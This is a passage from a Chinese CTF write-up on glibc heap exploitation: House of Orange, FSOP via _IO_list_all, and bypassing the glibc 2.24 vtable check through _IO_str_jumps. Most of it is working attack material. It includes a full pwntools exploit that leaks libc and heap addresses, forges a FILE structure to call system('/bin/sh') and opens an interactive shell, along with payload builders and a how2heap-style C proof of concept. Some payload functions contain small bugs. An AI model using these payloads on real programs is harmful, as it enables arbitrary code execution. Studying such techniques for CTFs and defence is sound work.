也就是我们控制的位置了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55555577a010 (size : 0x20ff0) last_remainder: 0x555555758570 (size : 0x60) unsortbin: 0x555555758570 (size : 0x60) (0x060) smallbin[ 4]: 0x555555758570 (overlap chunk with 0x555555758570(freed) ) gdb-peda$
此时
fp—> chain—> 0x555555758570
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 gdb-peda$ fp 0x2aaaab097b78 $18 = { file = { _flags = 0x5577a010 , _IO_read_ptr = 0x555555758570 "/bin/sh" , _IO_read_end = 0x555555758570 "/bin/sh" , _IO_read_base = 0x2aaaab098510 "" , _IO_write_base = 0x2aaaab097b88 <main_arena+104 > "p\205uUUU" , _IO_write_ptr = 0x2aaaab097b88 <main_arena+104 > "p\205uUUU" , _IO_write_end = 0x2aaaab097b98 <main_arena+120 > "\210{\t\253\252*" , _IO_buf_base = 0x2aaaab097b98 <main_arena+120 > "\210{\t\253\252*" , _IO_buf_end = 0x2aaaab097ba8 <main_arena+136 > "\230{\t\253\252*" , _IO_save_base = 0x2aaaab097ba8 <main_arena+136 > "\230{\t\253\252*" , _IO_backup_base = 0x2aaaab097bb8 <main_arena+152 > "\250{\t\253\252*" , _IO_save_end = 0x2aaaab097bb8 <main_arena+152 > "\250{\t\253\252*" , _markers = 0x555555758570 , _chain = 0x555555758570 , _fileno = 0xab097bd8 , _flags2 = 0x2aaa , _old_offset = 0x2aaaab097bd8 , _cur_column = 0x7be8 , _vtable_offset = 0x9 , _shortbuf = "\253" , _lock = 0x2aaaab097be8 <main_arena+200 >, _offset = 0x2aaaab097bf8 , _codecvt = 0x2aaaab097bf8 <main_arena+216 >, _wide_data = 0x2aaaab097c08 <main_arena+232 >, _freeres_list = 0x2aaaab097c08 <main_arena+232 >, _freeres_buf = 0x2aaaab097c18 <main_arena+248 >, __pad5 = 0x2aaaab097c18 , _mode = 0xab097c28 , _unused2 = "\252*\000\000(|\t\253\252*\000\000\070|\t\253\252*\000" }, vtable = 0x2aaaab097c38 <main_arena+280 > } gdb-peda$ fp 0x555555758570 $19 = { file = { _flags = 0x6e69622f , _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61 >, _IO_read_end = 0x2aaaab097bc8 <main_arena+168 > "\270{\t\253\252*" , _IO_read_base = 0x2aaaab097bc8 <main_arena+168 > "\270{\t\253\252*" , _IO_write_base = 0x0 , _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1 >, _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x0 , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x0 , _fileno = 0x0 , _flags2 = 0x0 , _old_offset = 0x2aaaaad18390 , _cur_column = 0x0 , _vtable_offset = 0x0 , _shortbuf = "" , _lock = 0x0 , _offset = 0x0 , _codecvt = 0x0 , _wide_data = 0x555555758600 , _freeres_list = 0x2 , _freeres_buf = 0x3 , __pad5 = 0x0 , _mode = 0xffffffff , _unused2 = "\377\377\377\377" , '\000' <repeats 15 times> }, vtable = 0x5555557585d0 }
最后,我们还需要一些条件的bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 while (fp != NULL ){ … fp = fp->_chain; ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
条件总结如下:
1 2 3 4 5 6 1.fp->_mode <= 0 2.fp->_IO_write_ptr > fp->_IO_write_base 或 1._IO_vtable_offset (fp) == 0 2.fp->_mode > 0 3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
这里可以选择第一种构造条件简单的进行构造
1 2 3 4 5 6 7 8 def house_of_orange (head_addr, system_addr, io_list_all ): payload = b'/bin/sh\x00' payload = payload + p64(97 ) + p64(0 ) + p64(io_list_all - 16 ) payload = payload + p64(0 ) + p64(1 ) + p64(0 ) * 9 + p64(system_addr) + p64(0 ) * 4 payload = payload + p64(head_addr + 18 * 8 ) + p64(2 ) + p64(3 ) + p64(0 ) + p64(18446744073709551615 ) + p64(0 ) * 2 + p64(head_addr + 12 * 8 ) return payload
构造结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 gdb-peda$ fp 0x555555758570 $20 = { file = { _flags = 0x6e69622f , _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61 >, _IO_read_end = 0x2aaaab097bc8 <main_arena+168 > "\270{\t\253\252*" , _IO_read_base = 0x2aaaab097bc8 <main_arena+168 > "\270{\t\253\252*" , _IO_write_base = 0x0 , _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1 >, _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x0 , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x0 , _fileno = 0x0 , _flags2 = 0x0 , _old_offset = 0x2aaaaad18390 , _cur_column = 0x0 , _vtable_offset = 0x0 , _shortbuf = "" , _lock = 0x0 , _offset = 0x0 , _codecvt = 0x0 , _wide_data = 0x555555758600 , _freeres_list = 0x2 , _freeres_buf = 0x3 , __pad5 = 0x0 , _mode = 0xffffffff , _unused2 = "\377\377\377\377" , '\000' <repeats 15 times> }, vtable = 0x5555557585d0 }
exploit1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from pwn import *from swpwn import *binary = './houseoforange' elf = ELF(binary) libc = elf.libc io = process(binary, aslr = 0 ) context.log_level = 'debug' context.arch = elf.arch context.terminal = ["python" , "notiterm.py" ,"-t" ,"iterm" ,"-e" ] myu64 = lambda x: u64(x.ljust(8 , '\0' )) ub_offset = 0x3c4b30 def house_of_orange (head_addr, system_addr, io_list_all ): payload = b'/bin/sh\x00' payload = payload + p64(97 ) + p64(0 ) + p64(io_list_all - 16 ) payload = payload + p64(0 ) + p64(1 ) + p64(0 ) * 9 + p64(system_addr) + p64(0 ) * 4 payload = payload + p64(head_addr + 18 * 8 ) + p64(2 ) + p64(3 ) + p64(0 ) + p64(18446744073709551615 ) + p64(0 ) * 2 + p64(head_addr + 12 * 8 ) return payload def menu (idx ): io.recvuntil(': ' ) io.sendline(str(idx)) def see (): menu(2 ) def build (nm, length, pz, color ): menu(1 ) io.recvuntil(":" ) io.sendline(str(length)) io.recvuntil(":" ) io.sendline(nm) io.recvuntil(":" ) io.sendline(str(pz)) io.recvuntil(":" ) io.sendline(str(color)) def upgrade (nm, length, pz, color ): menu(3 ) io.recvuntil(":" ) io.sendline(str(length)) io.recvuntil(":" ) io.send(nm) io.recvuntil(":" ) io.sendline(str(pz)) io.recvuntil(":" ) io.sendline(str(color)) breakpoint = [0x01415 ,0x13FD ] gdb.attach(io,""" break *0x555555554000+0x01415 break *0x555555554000+0x13FD """ )pause() build('0' * 8 , 0x90 , 1 , 1 ) pay = 'c' * 0x90 pay += p64(0 ) + p64(0x21 ) pay += p32(0 ) + p32(0x20 ) + p64(0 ) pay += p64(0 ) + p64(0xf21 ) pause() upgrade(pay, len(pay), 1 , 1 ) build('1' , 0x1000 , 1 , 1 ) build('2' , 0x400 , 1 , 1 ) see() io.recvuntil(": " ) libc_addr = myu64(io.recvn(6 )) & ~(0x1000 - 1 ) log.info("\033[33m" + hex(libc_addr) + "\033[0m" ) libc.address = libc_addr - 0x3bd000 log.info("\033[33m" + hex(libc.address) + "\033[0m" ) upgrade('2' * 0x10 , 0x400 , 1 , 1 ) see() io.recvuntil("2" * 0x10 ) heap_addr = myu64(io.recvn(6 )) - 0x140 log.info("\033[33m" + hex(heap_addr) + "\033[0m" ) pay = 'a' * 0x400 pay += p64(0 ) + p64(0x21 ) pay += p32(0x1f ) + p32(0x1 ) + p64(0 ) stream = house_of_orange(0x555555758570 ,libc.symbols['system' ],libc.symbols['_IO_list_all' ]) pay += stream pause() upgrade(pay, 0x800 , 1 , 1 ) pause() io.recvuntil(":" ) pause() io.sendline('1' ) io.interactive()
0x03 houseoforange (glibc 2.24 bypass)在 glibc 2.24 中新增了对 vtable 的check。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable ){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
首先,计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length ,即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables
那么就会调用 _IO_vtable_check()
这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void attribute_hidden_IO_vtable_check (void ) { #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } #else if (__dlopen != NULL ) return ; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
两段 check:
这里,angelboy 提出来了两种bypass 方法
overwrite IO_accept_foreign_vtables
由于有 PTR_DEMANGLE(flag) 的存在,很难bypass
overwrite _dl_open_hook
这是一个不错的选项,但是如果我们能覆盖 _dl_open_hook
意味着,我们能控制其他更好的内容。
此时就把视角转移到了 _IO_FILE
结构体上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_FILE { int _flags; char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; _IO_off_t _old_offset; };
因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。
在_IO_FILE 中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。这种方法,留到下一个小个地方写,这里要写的是另外一种方法
或者将视角移到了其他的 vtable 中,在 libc 中不仅仅有 _IO_file_jumps
这么一个 vtable ,还有_IO_str_jumps
,其虚表结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
以 _IO_str_overflow
为例:当我们将文件指针的vtable
设置为_IO_str_jumps
_IO_str_jumps -> overflow1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }
利用以下代码来劫持程序流程
1 2 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
在 _IO_str_overflow
,有几个条件需要满足
fp->_flags & _IO_NO_WRITES为假
(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
fp->_flags & _IO_USER_BUF(0x01)为假
2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
fp+0xe0指向system地址
总结bypass如下:
1 2 3 4 5 6 7 8 9 10 _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps - 0x18
关键paylaod 如下:
1 2 3 4 5 def VtableCheckBypass(vtable_addr, system_addr, binsh_addr, io_list_all_addr): payload = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10) payload += p64(0) + p64((binsh_addr - 100) / 2 + 1) + p64(0) + p64(0) + p64((binsh_addr - 100) / 2) + p64(0) * 6 + p64(0) + p64(0) * 4 payload += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(system_addr) return payload
_IO_str_jumps -> finish原理与上面的 _IO_str_jumps -> overflow 类似
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
条件:
_IO_buf_base不为空
_flags & _IO_USER_BUF(0x01) 为假
构造如下:
1 2 3 4 5 6 7 8 _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr
示例修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr) ;int main () { char *p1, *p2; size_t io_list_all, *top; p1 = malloc (0x400 -16 ); top = (size_t *) ( (char *) p1 + 0x400 - 16 ); top[1 ] = 0xc01 ; p2 = malloc (0x1000 ); io_list_all = top[2 ] + 0x9a8 ; top[3 ] = io_list_all - 0x10 ; char binsh_in_libc[] = "/bin/sh\x00" ; top[0 ] = ((size_t ) &binsh_in_libc + 0x10 ) & ~1 ; top[7 ] = ((size_t )&binsh_in_libc); top[1 ] = 0x61 ; top[5 ] = 0x1 ; top[20 ] = (size_t ) &top[18 ]; top[21 ] = 2 ; top[22 ] = 3 ; top[24 ] = -1 ; top[27 ] = (size_t ) stdin - 0x33f0 - 0x18 ; top[29 ] = (size_t ) &winner; top[30 ] = (size_t ) &top[30 ]; malloc (10 ); return 0 ; } int winner (char *ptr) { system(ptr); return 0 ; }
关键payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def VtableCheckBypass_2 (vtable_addr,heap_addr,system_addr,binsh_addr,io_list_all_addr ): """ _IO_str_finish conditions houseoforange glibc.2.24 bypass vtablecheck vtable_addr is _IO_str_finish addr (libc 2.24: 0x3BE050) """ payload += p64((binsh_addr+0x10 ) & ~1 ) + p64(0x61 ) payload += p64(0 ) + p64(io_list_all_addr-0x10 ) payload += p64(0 ) + p64(1 ) payload += p64(0 ) + p64(binsh_addr) payload += p64(0 ) * 12 payload += p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) payload += p64(0 ) * 2 payload += p64(vtable_addr-0x18 ) payload = payload.ljust(0xe8 ,'\x00' ) + p64(system_addr) payload += p64(payload+0x660 ) return payload
0x04 缓冲区以及fileno
的利用在 0x03 提到了 _IO_FILE
结构体上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_FILE { int _flags; char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; _IO_off_t _old_offset; };
因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。